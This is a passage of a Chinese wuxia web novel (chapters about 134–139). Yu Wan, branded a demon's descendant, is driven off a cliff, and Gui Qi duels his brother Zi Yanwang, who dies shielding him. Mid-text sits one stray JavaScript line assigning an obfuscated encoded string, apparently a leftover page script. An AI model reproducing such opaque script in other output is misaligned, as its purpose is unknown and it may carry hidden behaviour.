“证据,这就是证据!”浮生一边说着,一边从包裹中拿出一只耳环,递给谷月清。“如果我没记错的话,这耳环乃是青菱师太送给于婉的” 谷月清细细看了看:“没错,确实如此,你从哪儿得来的。” “白马寺同袍的血泊中!证据确凿,那位施毒的女子,就是于婉!”浮生握紧禅杖怒斥道。 昭相雪辩解道:“绝不可能,我都说过了,这些天,我与婉儿形影不离,从未分开,一定是有人蓄意陷害啊!” 蔡彧:“荒唐,我亲眼看见于婉杀了我夫人,难不成,也是我有意构陷不成?” “这……”昭相雪一时语塞,低头不言。 谷月清道:“昭相雪,赶紧让开,切莫因儿女私情乱了方寸!” “师傅——”苏起在旁边欲要帮小师妹说好话,却被谷月清一个手势直接打断。 昭相雪缓缓抬起头来:“浮生方丈、蔡庄主、谷掌门,你们打算如何处置她?” 浮生道:“那自然是就地正法!还白马寺一个公道!” 蔡彧亦附和道:“没错,我空涧庄与她无冤无仇,她竟敢毒杀我夫人!此仇,某必报之!” 两位掌门杀心已起,教中门徒自是唯命是从,当下纷纷响应,叫嚷着要就地正法,讨回公道! 昭相雪无奈,内力急速外涌,将大道封死,咬咬牙:“既是如此,我绝不能放你们过去!” 见此场景,谷月清怅然若失,恍恍惚,宛如昨日…… “叶师叔,你带着御风剑是要去哪儿?难道,你也要去杀我师傅吗?”说话的,乃是个十来岁的少年,听见声音,前面那个青年人停下脚步,转回身来,弯下腰,轻轻摸了摸那位少年的,泪水在眼眶中打转,话到嘴边,又咽了回去。 这时,又一少年跑来,拉住青年人:“师傅,不要杀顾师伯,顾师伯是好人啊!当年,我和谷师兄被山贼抓入山林,是顾师伯救的我们啊,师傅,你和顾师伯不是同门吗?为何,你们彼此要刀剑相向啊!” 那青年摇摇头,站起身来,将手中长剑握紧,苦苦一笑:“对不起,我没得选!”话罢,狠心甩开两位少年的拉扯,夺门而去。 “谷师兄,师傅为何要杀顾师伯啊?”少年泪如泉涌,哽咽道。 另一位少年摇摇头,亦是止不住的哭泣着。 “谷师兄,以后,我们也会刀剑相向吗?” “于师弟,我向你保证,以后无论你犯下什么错,我都不会将刀剑指向你。” …… 谷月清摇摇头,清醒过来,自语道:“我讨厌将剑指向同袍的感觉!但我没得选,昭相雪,得罪了!” 见此场景,苏起憋不住了,挡在谷月清身前:“不,师傅,你有得选,小师妹她天性善良,绝不可能叛入魔教,她没理由这样做啊。” 枯恂亦挺身而出,挡在谷月清面前:“没错,小师妹在凌云谷待了十六年了,谷主,她是个什么样的人,谷主,您还不清楚吗?耳听为虚眼见为实啊!” 江雨潇跟在枯恂身旁:“谷掌门,世人皆知,于姑娘是青菱师太的干女儿,若她真是慕容顾之后、真投靠了魔教,那自是人人得而诛之,我们豫蛇教无话可说。但你若是冤杀了她,我师傅绝不会善罢甘休!谷掌门,您切莫中了魔教奸计啊,等孤殇大师查清原委再做决断不迟啊!” 谷月清听罢,冷静下来,缓缓放下手中长剑。 “浮生方丈,蔡庄主,于婉在凌云谷求学十六年,虽略有顽劣,但本性淳良,绝不会叛入魔教的,此事还需进一步查清,蔡庄主,你真的看见于婉亲手杀了林夫人吗?” 蔡彧顿了顿,将事情原委一五一十说了个清楚。 谷月清反驳道:“蔡庄主,照你这么说,你只是看见林夫人倒在地上,但这根本不足以证明婉儿杀了林夫人啊。” 浮生道:“若不是她杀的,那她跑什么啊,我看,分明是畏罪而逃!林夫人一定是掌握了于婉毒杀白马寺,叛入魔教的罪证,于婉害怕事情败露,所以,一不做二不休,配合魔教妖党,杀人越狱!” 枯恂反驳道:“浮生方丈,出家人不打诳语,没依据的话可不能乱说啊,也许,是魔教妖人偷偷潜入空涧庄杀了林夫人,嫁祸给小师妹,世人皆知婉儿是青菱师太的干女儿,他们这么做,就是要挑拨豫蛇教与空涧庄、白马寺的关系啊!” 江雨潇道:“没错,或许,婉儿她根本没想逃跑,当时,她不过是在追捕真正杀害林夫人的凶手罢了。” “这……”蔡彧冷静下来,细细一想,确实也有这种可能。 见蔡彧犹豫不决,昭相雪道:“我愿以性命担保,婉儿绝不会叛入魔教。如若她真做了对不起武林之事,我定还大家一个公道!” window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第一百三十四章 同样的结局?! 此山,名曰忘魂山,山崖高耸入云,其间烟雾缭绕,似仙境,又似地府。 片刻后,孤殇赶到。 谷月清问道:“如何?” 孤殇一脸无奈,点了点:“司寇萧确实是司寇莉的儿子。” 杜冥道:“那还有什么好辩解的,这于婉,不对,这司寇晨必然是那慕容顾的后代。” 昭相雪:“是又如何,难不成只凭这血脉,便能指认婉儿是杀人凶手不成?” 杜冥道:“那是自然!魔头血脉,岂能是正派,今日不杀,他日必生祸端。” “什么祸端!婉儿可没杀过半个好人!若她真是魔教,又怎会全力击杀鬼俈!你们所谓的证据,根本证明不了任何事!” 章玄道:“昭相雪,你休要胡搅蛮缠!于婉身上的鞭伤就是最好的证据,江山易改本性难移,魔头的后代怎会是善类!” 昭相雪挡在于婉身前,对众人喊道:“她没理由这样做的,毒杀白马寺僧众、毒杀林夫人,这对她有什么好处!” 浮生道:“魔头杀人那需要什么理由,本性罢了,当年,慕容顾第一次杀人时,商队浩浩荡荡,足足有二十一人啊!谁曾想,魔头一怒,转瞬间,那二十一人便全数化作白骨” 蔡彧不耐烦道:“昭相雪,我们要杀的是那个女魔头,此事与你无关,赶紧让开!” 昭相雪并不回答,而是转过身,小心翼翼蹲下,哽咽道:“婉儿,对不起,是我害了你,我若是早些听了公孙大哥与展大侠的话,带你退出江湖,如此,也不会造成今日之祸!” 于婉摇摇头,替昭相雪抹去脸上泪痕:“昭大哥,这不怪你,魔头的后代,注定不能善终!这是我的宿命,谁也改变不了的!” “哪有什么宿命论!凭着自己的臆想随意剥掠他人性命,我看,他们才是魔头!婉儿,你放心,有我在,他们休想伤你分毫!” 杜冥喊道:“昭相雪,这女魔头杀了这么多人,你还护着她!她的命是命,林夫人的命就不是命了吗?” “杀了她!杀了她!”当下,众人皆握剑在手,恶狠狠盯着于婉。 见状,昭相雪毫不犹豫挡在于婉面前:“要杀她,先杀了我!” …… 不远处,一老者戴着铁皮面具看着此情此景,自语道:“当年,我功力微薄,凭一己之力,根本抵不过各派精英,昭相雪,你不同,你的实力已然凌驾于众派之上,此情此景,你会做何决断?” …… “昭大哥,你让开吧,这是我的宿命,与你无关!”于婉强撑着站起,吃力的推开昭相雪。 昭相雪哪会顺她心意,再次挡在她身前。 于婉急了,喊道:“昭相雪,你走啊,现在的我与以前不一样了,我是慕容顾的后代,中原武林注定容不下我,你跟我在一起,只会成为全世界的敌人!” 昭相雪微微一笑:“若爱上你,要与全世界为敌,那我便与全世界为敌好了。婉儿,我再也不要和你分开了。” “还记得吗?在司州时,你曾跟我说过,这世上有一种鸟,出生时便没有脚,它与伴侣结伴飞行,除了死亡,谁也不能将他们分开!婉儿,若有来世,我们做那种鸟吧” 于婉笑了笑:“昭大哥,你知道吗,以前我一直觉得我爷爷是个十恶不赦的大魔头,直到今日,我才突然想到,会不会,爷爷当年也是被冤枉的。昭大哥,你这么聪明,你替我查查吧。” 昭相雪眼角泛泪,默默的点了点头。 于婉塞给昭相雪一封血书后,冷笑般扫了周遭“正派”几眼,接着,头也不回的跳下忘魂崖,“婉儿!”昭相雪大惊,没有丝毫犹豫,竟也跟着跳了下去! 不远处,冷眼旁观的徐维紧张起来:“御守使,大事不妙啊,昭相雪那小子也跟着跳崖了,崖高千尺,跳下去,绝无生还可能!咱们的计划,不会受影响吧?” 老者笑了笑,自顾自的酌着茶:“放心,昭相雪死不了,计划不变。” “草野之战,靠着骷魅神功,咱们都损失惨重,如今,骷魅已死,这场仗,怕是不好打啊。” “骷魅?”老者冷讽道:“我还以为他会是个百年难遇的天才,如今看来,也只是个泛泛之辈。” “泛泛之辈?不至于吧,骷魅虽死,但死前消耗了谷月清、秋殇一叶等中原高手的许多内力,也算是不辱化境修为了吧。” “可笑,谷月清和秋殇一叶不过才御境顶峰耳,离化境尚差半步,你不会真以为,两个御境顶峰加起来,便可以打败一个化境强者吧,不用说,骷魅要么没死,要么死于自杀。” 那老者接着说道:“不过,说到底,就算他没死,他也不会回来了,咱们这边折个骷魅,中原武林折个昭相雪,谁也没讨到谁便宜!” 徐维点点头,又说道:“传闻,凌云谷前任谷主叶述修为极高,化境一阶,半步登仙,若他出手,只怕无人能挡。” 老者冷冷一笑:“半步登仙,也就是说,还没登仙,放心吧,叶述不会出手的,还没到那一步。” “事关中原武林存亡,只怕他不会袖手旁观。” “好了,叶述若是敢出手,自会有人对付他,你只管把人马召来,其他的,我自有安排。” “是。”徐维刚走几步,又回头问道:“对了,这次决战的指挥使是谁?” 那老者喝着茶,思虑片刻:“——鬼岐” 第一百三十五章 空谷涧鸣 空涧庄: 杜济叹息道:“女魔头死不足惜,只可惜搭上了昭少侠。” 杜冥道:“死了也好,他夫人是咱们逼死的,若昭少侠秋后算账,咱们中原武林,可没人打得过他。” 蔡彧道:“邪不胜正,昭相雪若是执意偏袒那女魔头,要算账尽管来便是,我夫人已经死了,大不了,我下去陪她便是!” 秦嫣柔:“现在说这些还有什么意义,想想接下来咱们该如何收场吧。” 章玄问道:“收什么场?魔女已死,还怕什么?” 秦嫣柔冷笑道:“婉姑娘可是青菱师傅的义女,她们两关系一直很好,现在她死了,只怕师傅不会善罢甘休。” 浮生方丈摇摇头,一脸无奈,并未说话 章玄道:“义女又如何?咱们行得正坐得端,杀的是女魔头,又不是女菩萨!青菱师太也是明事理的人,不会乱来的。” 正话间,一人戴着黑铁面具持剑杀入。 “蔡彧小儿,于婉呢,赶紧把她给我放了!”此人戴着面具,看不见真容,但满头白发预示着此人是个老头儿。 空涧庄弟子讽刺道:“哪里来的疯老头,敢对庄主不敬!” 那老者,提剑直指蔡彧,怒骂道:“于姑娘心底淳良,怎么行暴戾之举,赶紧把她给我放了!” 蔡彧也不管来者是谁,大笑道:“看来,这女魔头还有同党呢!” 章玄亦拔剑厉声问道:“你是何人,为何戴着铁面具,不敢以真容似面!” 老者:“我是谁不重要,你们赶紧把于姑娘给我放了,否则,我踏平你们空涧庄!” 苏起仔细听着此人声音,极似某位故人。 杜冥道:“呵,狂徒!于婉已经死了,她自知罪孽深重,已然跳下崖去,你要找她,去崖底捞去吧!” 老者听见此言,顿时火冒三丈,还没出剑,一道指法飞来,将杜冥击倒。 又来了两位大侠,正是朱姬杜菱与白侠展平! “你们!你们真的杀了婉儿?!”杜菱一脸怒气杀进殿来,旁边展平亦是七魂剑在手,剑气凌人,众皆骇然,不敢接话。 见青菱师太驾到,豫蛇庵弟子自是向她身后靠拢,场上瞬间分成两队人马来。 蔡彧上前,一脸正气:“一人做事一人当,于婉杀了我夫人,是我把她逼死的,你们要是觉得不妥,取我性命便是!” “蔡彧,你以为,我真不敢杀你吗!”师太此话一次,空涧庄与豫蛇庵弟子自是严阵以待,兵刃相向! 章玄高呼道:“青菱师太!你未免太放肆了些!你杀一个试试!”一声令下,剑阁弟子加入空涧庄阵营,剑拔弩张,只等厮杀! 白马寺与百药宗的人虽不吱声,但也默默拔出兵器加入空涧庄队伍。 苏起道:“各位前辈冷静点儿,凡事好商量,切莫伤了和气。” 青菱师太怒火中烧,完全听不得半点劝解之词:“商量?!你们逼死婉儿前,可曾与我商量过!别以为人多我就怕你们,一群乌合之众耳!”一边说着,竟真使出指法来。 胡啸见此情景,也只得出手劝架,两掌飞出,将指法击散。 两方人马话不多说,扭打在一起,都是中原侠客,打斗时皆留有余地,下重手,但并未下死手。 突然间,七柄飞剑绕进战场,小心翼翼将两方人马分开,一老道开口道:“都住手,婉儿在我凌云谷求学十六载,她是怎样的人,我清楚,滥杀无辜之事,她绝对做不出来。” 蔡彧道:“谷主的意思是,我故意设计陷害她不成!” 浮生亦道:“白马寺僧众的惨死于山万蛇毒,证据确凿,还有什么好狡辩的!” 谷月清道:“白马寺惨案与林夫人之死,我凌云谷自会调查清楚,若真是婉儿所为,我这个做师傅的亦当同罪,若是冤假错案,还望你们,也能给个说法!” 蔡彧道:“好,若是我等不察,冤枉了于婉,我自当以死谢罪!” 浮生亦道:“于婉若是清白,我也从忘魂崖上跳下去!” 青菱师太收起攻势:“好,这可是你们自己说的,给我等着!”话罢扭头便走,展平与豫蛇庵弟子自是紧随其后,那位铁面老者亦跟着退去。 然而,此时此刻,场上侠客,一个也走不掉! 空涧庄外,魅影教众早已将此处围得水泄不通,为首之人竟是早该死去的魅影左使——鬼岐!准确来说,此时不该称他为左使,该尊他,魅影教主。 “远远看去,这空涧庄可真像个大棺材,也不知,装不装得下这些死尸!”接着,鬼岐冷冷一笑:“我只说一句,降者不杀。” 第一百三十六章 化境尊者—鬼岐?! 杜菱本就火大,当下见魔教杀来,正好泄愤,二话不说,急施白菱神功,直接莽了上去,豫蛇教弟子亦是头铁,面对数倍之敌豪无惧色,也提剑杀了上去。 展平先施剑法,七柄虚剑飞出,直指鬼岐,还未近身,却被一面巨盾挡下,乃是徐维的盾灵。 杀声越来越大,空涧庄的中原各派后知后觉,赶紧抄起兵器向外杀了出去。 两军混战,蔡彧被狐肃缠住,展平被徐维缠住,胡啸与公孙皓相斗,浮生与魅影左使钦铉相斗,章玄被魅影右使藏榆缠住,青菱师太则被齿猷长老牵制住,谷月清伤势有些重,并未参战,杜冥、杜济、苏起、枯恂,江雨潇等人则分别与八位堂主缠斗。很明显,魅影教这边,闲了位狠角色——魅影教现教主:鬼岐! 当下,鬼岐杀入战场,左右冲杀,如入无人之境!功法一施,中原侠客瞬间毙命数十人,照这种速度杀下去,只怕不了一炷香,空涧庄就真成棺材房了。 众人很快调整好策略,浮生一边打钦铉,一把将徐维拖住,蔡彧则收起琴,提剑杀向齿猷长老,空出来的青菱师太与展平也不迟疑,赶紧找寻鬼岐方位,欲合力击败他。 两人一前一后,将鬼岐拦住。 鬼岐冷笑一声:“秋殇已死,没有联合杀招,你们打不过我的。” 展平:“不试试怎么知道呢!” 凌空剑法与白菱神功齐施,一前一后,向鬼岐击去,鬼岐丝毫不慌,等两大杀招近身才施法离去,速度极快,杜菱与展平的功法根本近不了身。 “我说过,没有联合杀招,你们打不过我!”再出现时,鬼岐已闪至杜菱身后。 “天下大同!”一阵藤蔓突然从地下窜起,牢牢缠住杜菱,杜菱身法急施,妄图摆脱藤蔓,哪知藤蔓上竟冒出利刺来,只三五步,杜菱身上便划出了十多道血口来,已是寸步难行。 展平见状,急施剑法,七柄长剑飞出,欲划开那些藤蔓。 鬼岐见状,向下一压,展平脚下黄土竟碎成流沙,只一瞬便将展平陷入地下,流沙之上,藤蔓亦向下拉去,杜菱亦未能幸免,还没等飞剑割开藤蔓,整个人便也陷入地下。 中原侠客大惊,杜菱与展平的实力,眼下算是中原武林顶峰,若是他们联手尚还敌不过鬼岐,只怕剩下的人,都只能等死了。 众人一边还手,一边刨土,欲将两人从黄土之下“挖出来。” 只听一声巨响,一条巨蛇破土而出,此蛇自不多说,乃是白菱神功第十重幻化出来的,浑身鳞片坚硬如钢,破这黄土自是轻而易举,巨蛇窜出地面后,血口一张,将杜菱与展平从嘴中吐出。蛇尾一扫,十多名魅影教众当场毙命。 杜菱立于大蛇头部,一声令下,大蛇飞速咬向鬼岐。沿途教众提刀砍向巨蛇,但那巨蛇的鳞片实在太硬,根本砍不动,蛇身轻轻一扫,沿途教众或死或逃,无人能挡。 鬼岐仍是不慌:“黄沙漫!” 只见黄沙再起,漫天飞舞,最终化作万根细针,攻向巨蛇,杜菱冷冷一笑,自以为,此等攻击,连巨蛇的鳞片都伤不了,成不了气候,哪知那飞针因为细小尖锐,竟插入巨蛇鳞与鳞之间的缝隙里!巨蛇因为没有痛觉,并未反应,但随着黄沙的增多,巨蛇前行的速度变得十分缓慢,最终,蛇还没近身便被黄沙压垮,轰然倒下,随风消散! 鬼岐笑了笑:“如果你的内力够多,不妨再唤一条出来玩玩。” “凌空剑法第八式—众生卸元!”展平剑法一施,七柄虚剑从七魂剑上飞出,在战场上空汇聚成一柄巨剑,接着狂风骤起,原本散落在战场的杂草、沙石、兵器通通往巨剑处汇聚,全部围着巨剑旋转起来。 “万幻卸魂掌!”与骷魅先前的千百来道卸魂掌不同,鬼岐这功法,竟真幻化出万多道卸魂掌来。 当下,巨剑一边旋转一边向四周飞出小剑来攻击着场上的魅影教众,与此同时,砂石、土块又变成无数道掌波向那些小剑击散。很明显,鬼岐已将凌空剑法第八式破解,若是第八式发挥不了威力,那第九式自是无法施展。 展平一脸惊慌,当下竟无应对之法。 鬼岐冷冷一笑:“看清楚了吗?我可不是骷魅!你们赢不了我!” 话音刚落,杜菱与展平身后同时被人拍去一掌,两人回头一看,那人与鬼岐长得一模一样! 原来,不知从何时起,鬼岐悄悄幻化出两道影身,本体正常交战,另外两道影身则潜伏于场上,随时准备偷袭。 谷月清见此情景,叹息道:“中原武林若亡,我谷月清自当先死!”话罢,抽剑起身,欲要死战。 刚起身,却被一老者拉住:“解铃还须系铃人。” 那老者身着灰白僧服,眉宇间有股英气,看年纪,该是白马寺一位得道长老,只是不知佛号为何。 谷月清客气问道:“请问高僧法号?” 老者笑了笑:“紫阎王。”话罢,头也不回,化作一缕紫烟,杀向鬼岐。 紫阎王?!骷魅之父?十六年前便已死去紫阎王? 第一百三十七章 系铃解铃 鬼岐身法急施,冲至展平身前,欲下死手,危难之际,那老者挺身挡住。 “鬼岐,停手吧。” 鬼岐看下那老者,竟浑身打颤。 “紫阎王?你,你没死?!” “当年之事,我不怪你,停手吧。” 鬼岐沉默许久并不说话,半晌,看着对面老者说道:“当年,我靠偷袭赢了你,确实不光彩,这些年来,我的功法早已超越了你,既然当年你没死,那就再杀一次好了!” 老者一脸愁容道:“咱们两兄弟之间,难道,就必须得死一个吗!” 鬼岐吼道:“是!不过,死的只会是你,十六年前如此!今日同样!”鬼岐话罢,化作一缕黑烟,闪至,紫阎王身后,一掌拍去。 紫阎王则化作一缕紫烟,与鬼岐扭打起来。 两人相斗数十回合,转移了多个战场,打得不可开交。 “天下大同!”两人齐声喊道,宛如施展联合杀招一般,其实不然。 只见黑云蔽日,电闪雷鸣,狂风与狂风相斗,紫电与紫电相争,藤蔓缠绕,沙石乱飞,神仙打架,凡人遭殃,魅影教众与中原侠客很快停了手,全力躲闪起两位化境尊者的“无意”之击。 “紫阎王,今日的我与十六年前大不相同,你赢不了我的!” “为了天下苍生,我绝不会输!” “天下苍生?”鬼岐笑了笑:“叶述跟你说了什么?一个残暴嗜杀的魔头,竟妄图成为一个救世主!荒唐!” 紫阎王:“我前半生确实杀了不少人,我有罪,正因如此,我绝不会让我的亲弟步我后尘,停手吧狐岐!” “住口!狐阎,你杀了我母亲,有什么资格做我兄长!!” 鬼岐功法一施,突然间,暴雨倾盆,细雨幻化成万根利针,飞速刺向紫阎王,紫阎王亦施展功法,周遭落叶纷纷飞来,绕着紫阎王,巧妙的将那些利针包裹起来,拍落在地。 “当年之事,确有不妥,但那都是我娘的命令,为了保全你,我只能那样做!” “保全我?意思是,你杀了我娘,是为了我好!”鬼岐怒气更甚,功法再施,万道卸魂掌拍向紫阎王。 紫阎王立马施法格挡,但他的境界不高,只能召出了数千道卸魂掌。 “你娘的事,我很抱歉,但若是我娘亲自动手,你也不能幸免。” “少废话!杀人偿命,拿命来!”鬼岐亲自上阵,万余道卸魂掌的辅助下,成功击中紫阎王腹部,一掌将其排倒在地。 面对倒地的紫阎王,鬼岐丝毫没要要停手的一手,一闪身,来到紫阎王身前,抽出一把生锈铁剑来:“人活世上,有一样东西必不能少,可笑的是,从出身起,我便从没拥有过!”鬼岐看着那把锈铁剑继续说道:“这把剑,是当年你用来杀死我娘的,今日,我就用它杀了你,咱们就此两清!”话罢,提剑刺去。 只听砰的一声,似两件兵器相撞,一把长枪挑飞那铁剑,在阎王身旁,一妇女骑着一匹巨魔狼,持枪而立,看那面像,这不是慕容洵的那位干娘,妍夫人嘛! “公孙妍?你没死?” 公孙妍,公孙皓的亲妹妹,同时,也是紫阎王的结发夫人。 紫阎王瞬间站起身来,一脸惊喜:“妍儿,你怎么来了。” “我害怕再像十六年前那样,听见你去世的消息。” 紫阎王一阵尴尬,并不说话。公孙妍笑了笑,继续说道:“听见你遇难的消息后,我才后知后觉,原来,我也是喜欢你的。” 紫阎王一听,越想越不对劲,一脸欣喜的抬起头看向公孙妍,完全不敢相信自己的耳朵。 “可笑!七十多岁的人了,还谈什么喜欢,我都替你们害臊!”话罢,再是一剑刺去,再被公孙妍持枪挡下。 “你要杀他,先过我这关。” “好,那你们就一起去死吧!天雷!寂灭!”鬼岐竟施起太平道法第六重来,且境界更高,已能够人为控制方向,当下,数百道落雷汇聚在一处,齐刷刷击向紫阎王两人。 “探云手!”紫阎王招呼黑云将落雷吸附住些许,接着施展万幻影法,拉着公孙妍向别处转移,避开数十道,但估摸中,黑云下仍有大量落雷蓄势待发,随时准备劈下。 眼下,紫阎王带着公孙妍,身法慢了百倍不止,鬼岐邪魅一笑,预判到紫阎王落脚处,再施功法,藤蔓疯长,将公孙妍紧紧缠住。 紫阎王大惊,亦施展功法想要解开藤蔓,但松了这根,另一根藤蔓又赶紧长起,再将公孙妍缠住,一松一紧,公孙妍完全抽不开身。万难之际,新一轮的落雷再次劈来! 鬼岐冷冷一笑:“能和嫂子死在一起,也算是成全你了,大哥,再见了。” …… 万魂山下,一间草屋中,一老者正在熬粥,旁边床榻上,突然传来一少年惊慌之语:“婉儿!婉儿!不要跳!不要!”少年旋即惊醒,竟是昭相雪。 “醒了?”老者一边盛粥,一边说道:“来,先喝点粥。” 昭相雪看向那老人,很慈祥,但并不认识:“你是谁?我这是在哪儿?” 老人盛好粥,将其放在桌上,自我介绍起来:“老夫名叫叶述,这里是忘魂山下。” “叶述?凌云谷叶述?” 老人点了点头。 昭相雪一脸惊讶,眼前这位白发苍苍的老者竟是传说中那位武林泰斗叶述?!不会吧,突然,昭相雪想到万魂山,瞬间发狂:“婉儿,婉儿!我要去找婉儿!” “什么婉儿?谁啊?” 昭相雪慌乱的下了床,胡乱套上衣裤:“我夫人,于婉,她从万魂山上跳下来了,我得去救她!” “说什么胡话呢,万魂山下除了你我,哪还有其他人!” “不可能,我亲眼看见她跳下来的,我得去找她,我得去找她。”话罢,昭相雪冲了出去,兜兜转转,疯了一般,在崖下找了许久,终是没有半个人影。 这时,叶述端了一碗粥过来:“喝点儿粥吧。” 昭相雪毫不理睬,双目紧闭,如木桩一般发呆。 “没有消息才是最好的消息,说不定那位婉姑娘跟你一样,也被人救了,若是她还活着,你却饿死了,你说,她该多难过。” 昭相雪一听,睁开了眼,一把抢过米粥,一边狼吞虎咽,一边道谢。 “慢点喝,锅里还有,没人跟你抢。” “我还有事,先走了。”话罢,叶述御剑上天,飞上万魂山顶,消失不见…… 昭相雪自言自语道:“婉儿,我若是也会御剑之术,绝不会放任你跳崖自尽!” 第一百三十八章 手足情深 眼下,公孙妍被藤蔓缠住,数十道落雷劈来,绝跑不掉,危难之际,紫阎王腾空而起,使出半身内力,化作一道巨型屏障,硬抗下那群落雷! 鬼岐冷冷一笑:“白费力气,接下来,我看你拿什么跟我斗!” 乌云消散,藤蔓退去,紫阎王小心翼翼扶起公孙妍,公孙妍骂道:“你傻啊,你明明可以躲开的,为什么要白费力气救我!” 紫阎王微笑道:“说什么呢,你了解我的,若你死了,我又岂会独活。” 公孙妍摇了摇头,有些愧疚:“对不起,那些年,我辜负了你的好意。” “说什么呢,我乐意好吧。妍儿,以后我俩再也不要分开了,好吗” 公孙妍点点头,满脸幸福。 两人聊得正欢,被鬼岐强行打断:“要叙旧的话,去地府慢慢叙吧!”话罢,再施功法,数十根藤蔓冒出,将公孙妍紧紧缠住。 紫阎王正要施展功法解除捆绑,然而鬼岐已先他一步,持剑杀来,无奈只得应战,两人扭打在一起,鬼岐找准时间朝其击去一掌,紫阎王急忙挥掌格挡,不料却中了他的奸计,两股霸道内力相撞,越聚越多,越聚越多!谁若是收了手,必是当即毙命,照理说,先前紫阎王已然用去半身内力抵挡落雷,当下的比拼该是鬼岐占得上风才对,然而,奇怪的是,两人的内力竟是势均力敌,难不成,鬼岐也已用去了半身内力了?不应该啊! 正思虑间,突然惊慌起来,没错,鬼岐的老伎俩了,落雷被击散的瞬间,鬼岐化出一个幻影,藏于战场上,当下,紫阎王正与本体缠斗,分身则持剑向公孙妍杀去,藤蔓缠身,动弹不得的公孙妍似乎只得等死了。 危难之际,紫阎王急欲抽身,但这种情况如何脱得了手,抽身之后,内力反噬,不仅救不了公孙妍,自己也得毙命,现下之计,只有加大功力投入,或许有机会击败眼前的鬼岐,接着再施展万幻影法救下公孙妍。 然而,他终究还是低估了鬼岐的实力,十六年前,鬼岐击败了紫阎王,但当时,紫阎王先与叶述交了手,重伤之后,才让鬼岐钻了空子,若是完好无损的紫阎王,两个鬼岐都未必打得过他,然而,现如今,两人的实力已是翻天覆地的转变,鬼岐,早已今非昔比! 内力比拼中,双方的投入愈来愈大,谁也抽不了谁,谁也压不住谁,此时,鬼岐的分身已然来到公孙妍身前,拔剑,狠狠刺去。 哪知,又是熟悉的剧情演起,一头巨魔狼,一老者持枪挡下那剑,正是幽狼派狼主:公孙皓。 “老匹夫,你要造反不成。” “反谁?老教主就在那儿,我看,要造反的是你!” “敬酒不吃吃罚酒,找死!” “死就死,要想杀我小妹,先冲我的尸体上跨过去!”话罢,两人扭打起来,但公孙皓如何打得过鬼岐,三五招便落得下风,这时两道掌风击来,将鬼岐分身击退,竟是凌云谷二长老胡啸。 公孙皓作揖道:“谢了。” 胡啸道:“别误会,我只是来杀魔头的。” 此时,公孙妍也已挣脱开藤蔓,一招手,她的坐骑也飞奔而来,三人将鬼岐分身围在中间,合力攻击,一时竟也胜负难分。 而另一边,鬼岐的本体正与紫阎王比拼着内力,此时,两方皆已拼尽全力,估摸着,到最后该是以两方内力枯竭,渐渐弱下收场。 或许,还有另一个选择,那分身突然化作一团黑烟,凭空消散,融入鬼岐本体中,内力瞬增,立马压过紫阎王,紫阎王若死,场上侠客,还有谁能挡得住鬼岐? “去死吧你!” 公孙皓等人反应过来,立马向紫阎王那边赶去,但距离甚远,只怕,为时已晚…… “嗖~~~” 三人还没近身,一条赤炎神蛇急速窜向鬼岐,竟是《云霄九剑》第九重幻化的赤炎巨剑与《白菱神功》第十重幻化的弑魔蛇神相结合组成的全新杀招! 速度极快,鬼岐抽身且难更别说闪躲了!刚说完狠话,便被社会毒打,这谁顶得住啊!鬼岐大惊,将内力收回了些,眼下只得一边对抗紫阎王,一边抽出半身内力化盾格挡了。 紫阎王劝解道:“收手吧,硬接这招你会死的!” 鬼岐当然知道硬接此招风险很大,但此刻,他除了硬接还有别的选择吗?强行收手内力反噬同样会死。“收手?眼下还收得了手吗!” “我数一二三,你我同时收手!” “你别再假惺惺了,你不就希望我死吗嘛!” 紫阎王毫不理会,自顾自的数起数来:“一!”“二!” 鬼岐有些诧异,但横竖都是死,姑且信他一次,哪知,还没等紫阎王数到三,那赤炎神蛇便已窜至身前,速度太快了,实在是防不胜防!此时,想跑怕是跑不了了,只得硬接,鬼岐也不迟疑,立马分出大半内力化盾格挡,两大杀招的集合,威力自是不容小觑,最好的结局也是两相消散,最坏的结局自是盾毁人亡。 只怕一声巨响,鬼岐内力所化的灵盾竟是毫发未损!紫阎王不知何时挡在身前,用肉体替自己挡下那招绝杀! “我答应过…琴姨,会永远…护你周…全,你…永远…是我…弟…”紫阎王还欲说些什么,但却戛然而止,眼睛一闭,昏死过去,如此重击,只怕再也醒不来了。 “狐阎!”公孙妍见此情景,不免心头一颤,跌倒在地,此刻她浑身瘫软,竟是连站起的力气都没有。 鬼岐满脸惊愕,跪下身来,看向死去的紫阎王:“为什么?为什么你要替我挡剑!这一剑是杀我的!你凭什么要舍命救我!为什么!”鬼岐自己都没注意到,此刻他的声音十分沙哑,竟有些许伤感,他在伤感什么?紫阎王的死,不是他一直想看到的吗? 半块蓝田玉佩从紫阎王腰间滑落,鬼岐见状立马捡起,从自己袖口中也摸了半块出来,两个残玉拼合在一起,竟合成一个完整的玉佩来。 鬼岐喃喃自语道:“没想到,这块玉佩你竟一直带着。”话罢又自嘲般笑了笑:“没想到,我也一直带着。” …… 第一百三十九章 狐岐传 乌桓大草原上,两个小男孩正在抓蚂蚱。大的那个有六岁,小的那个估摸着才四岁。渴了喝露水,饿了吃肉干,身后奴仆成群,日子过得好不快活。 一天下午,两人抓完蚂蚱,浑身疲软,平躺在大草原上,看向蓝蓝的天空。 稍大些的孩子看着天空指着一朵白云笑道:“小岐,你看那朵云,像不像绵羊。” “哪朵啊?” “那朵啊,像绵羊的那朵!” “没有啊,哪有绵羊。” “那边啊,你顺着我指的方向仔细看。” 四岁的小孩顺着大哥哥手指的方向看了许久,半晌突然问道:“大哥哥,什么是绵羊啊。” 那位大哥瞬间笑出声来,接着,从袖中摸出一块玉佩来:“你看,这是我娘送给我的蓝田玉佩,漂亮吧。” 小弟接过玉佩,看了许久,十分羡慕:“好漂亮啊,我也想要,娘为什么只送你啊,我也想要。” “这蓝田玉佩珍贵得很,娘费了好大劲才从中原买来的,只有一块,咱爹都没有呢!” “不公平,我也是她的儿子,为什么她不给我,我也想要。” 六岁男孩看着蓝田玉佩看了许久,突然伸出手来,用力一掰,竟把那玉佩掰成了两半! “给,你一半我一半。” “真的吗?大哥你真好!” “那是,小岐,你放心,我的就是你的,只要有我一口肉,就有你一口肉!你是我弟弟,我会永远罩着你的!” 